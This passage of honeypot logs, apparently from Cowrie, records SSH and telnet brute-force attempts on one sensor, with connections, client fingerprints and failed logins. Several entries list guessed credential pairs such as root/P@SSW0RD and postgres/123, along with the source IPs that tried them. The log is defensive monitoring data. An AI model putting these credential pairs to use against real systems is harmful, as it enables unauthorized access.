0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:01.254205Z","src_ip":"160.187.174.22","session":"37a8c860df8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.61366319656372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:01.708858Z","src_ip":"107.6.151.170","session":"867253a261ec","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sugi","password":"sugi","message":"login attempt [sugi/sugi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:01.959041Z","src_ip":"160.187.174.22","session":"37a8c860df8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:03.194761Z","src_ip":"160.187.174.22","session":"37a8c860df8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.174.129.232","src_port":35760,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff5e66579ffa","protocol":"ssh","message":"New connection: 160.174.129.232:35760 (10.17.0.5:22) [session: ff5e66579ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:06.245493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:06.249501Z","src_ip":"160.174.129.232","session":"ff5e66579ffa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:06.390420Z","src_ip":"160.174.129.232","session":"ff5e66579ffa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"admin","message":"login attempt [administrador/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:06.986316Z","src_ip":"160.174.129.232","session":"ff5e66579ffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:08.131530Z","src_ip":"160.174.129.232","session":"ff5e66579ffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.16.244.39","src_port":60030,"dst_ip":"10.17.0.5","dst_port":22,"session":"137f6d4eaad9","protocol":"ssh","message":"New connection: 177.16.244.39:60030 (10.17.0.5:22) [session: 137f6d4eaad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:13.570000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:13.580068Z","src_ip":"177.16.244.39","session":"137f6d4eaad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:13.713836Z","src_ip":"177.16.244.39","session":"137f6d4eaad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:14.269135Z","src_ip":"177.16.244.39","session":"137f6d4eaad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:15.403290Z","src_ip":"177.16.244.39","session":"137f6d4eaad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.229.220.180","src_port":60303,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e6e6be8f71a","protocol":"ssh","message":"New connection: 221.229.220.180:60303 (10.17.0.5:22) [session: 5e6e6be8f71a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:15.752726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:15.756535Z","src_ip":"221.229.220.180","session":"5e6e6be8f71a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:16.013314Z","src_ip":"221.229.220.180","session":"5e6e6be8f71a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yl123456","message":"login attempt [root/Yl123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:17.076590Z","src_ip":"221.229.220.180","session":"5e6e6be8f71a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.193.165","src_port":53932,"dst_ip":"10.17.0.5","dst_port":22,"session":"c02626035664","protocol":"ssh","message":"New connection: 20.228.193.165:53932 (10.17.0.5:22) [session: c02626035664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:17.336581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:17.340333Z","src_ip":"20.228.193.165","session":"c02626035664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:17.362887Z","src_ip":"20.228.193.165","session":"c02626035664","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Fk123456@","message":"login attempt [root/Fk123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:17.466326Z","src_ip":"20.228.193.165","session":"c02626035664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:18.483107Z","src_ip":"20.228.193.165","session":"c02626035664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.164.175","src_port":47634,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec6c04ffd30e","protocol":"ssh","message":"New connection: 138.197.164.175:47634 (10.17.0.5:22) [session: ec6c04ffd30e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:31.431337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:31.435258Z","src_ip":"138.197.164.175","session":"ec6c04ffd30e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:31.451681Z","src_ip":"138.197.164.175","session":"ec6c04ffd30e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"admin","message":"login attempt [administrador/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:31.553806Z","src_ip":"138.197.164.175","session":"ec6c04ffd30e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:32.573200Z","src_ip":"138.197.164.175","session":"ec6c04ffd30e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":36152,"dst_ip":"159.203.135.109","dst_port":22,"session":"43f7bbacbcd0","protocol":"ssh","message":"New connection: 159.65.58.200:36152 (159.203.135.109:22) [session: 43f7bbacbcd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:39.789753Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:39.866109Z","src_ip":"159.65.58.200","session":"43f7bbacbcd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":44982,"dst_ip":"10.17.0.5","dst_port":22,"session":"0178b9be4102","protocol":"ssh","message":"New connection: 91.92.40.4:44982 (10.17.0.5:22) [session: 0178b9be4102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:40.823951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:40.828020Z","src_ip":"91.92.40.4","session":"0178b9be4102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:40.909515Z","src_ip":"91.92.40.4","session":"0178b9be4102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234qwer","message":"login attempt [user/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:41.209319Z","src_ip":"91.92.40.4","session":"0178b9be4102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:42.292968Z","src_ip":"91.92.40.4","session":"0178b9be4102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46034,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5e80c33c39c","protocol":"telnet","message":"New connection: 170.64.224.25:46034 (159.203.135.109:23) [session: a5e80c33c39c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:45.148183Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53224,"dst_ip":"159.203.135.109","dst_port":23,"session":"a249c671885e","protocol":"telnet","message":"New connection: 170.64.224.25:53224 (159.203.135.109:23) [session: a249c671885e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:29:07.441549Z"}
{"eventid":"cowrie.session.closed","duration":23.300983428955078,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:29:08.448985Z","src_ip":"170.64.224.25","session":"a5e80c33c39c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":75.06785440444946,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:29:11.402400Z","src_ip":"170.64.224.25","session":"5757bf18e934","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51102,"dst_ip":"159.203.135.109","dst_port":23,"session":"b681c0baab7e","protocol":"telnet","message":"New connection: 170.64.224.25:51102 (159.203.135.109:23) [session: b681c0baab7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:29:28.881867Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":37598,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cfb498a2e20","protocol":"ssh","message":"New connection: 189.203.163.10:37598 (10.17.0.5:22) [session: 9cfb498a2e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:29:29.984934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:29:29.989341Z","src_ip":"189.203.163.10","session":"9cfb498a2e20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:29:30.052600Z","src_ip":"189.203.163.10","session":"9cfb498a2e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@SSW0RD","message":"login attempt [root/P@SSW0RD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:29:30.338739Z","src_ip":"189.203.163.10","session":"9cfb498a2e20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:29:31.404923Z","src_ip":"189.203.163.10","session":"9cfb498a2e20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.174.129.232","src_port":52562,"dst_ip":"10.17.0.5","dst_port":22,"session":"369e73025022","protocol":"ssh","message":"New connection: 160.174.129.232:52562 (10.17.0.5:22) [session: 369e73025022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:29:45.658547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:29:45.663194Z","src_ip":"160.174.129.232","session":"369e73025022","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@op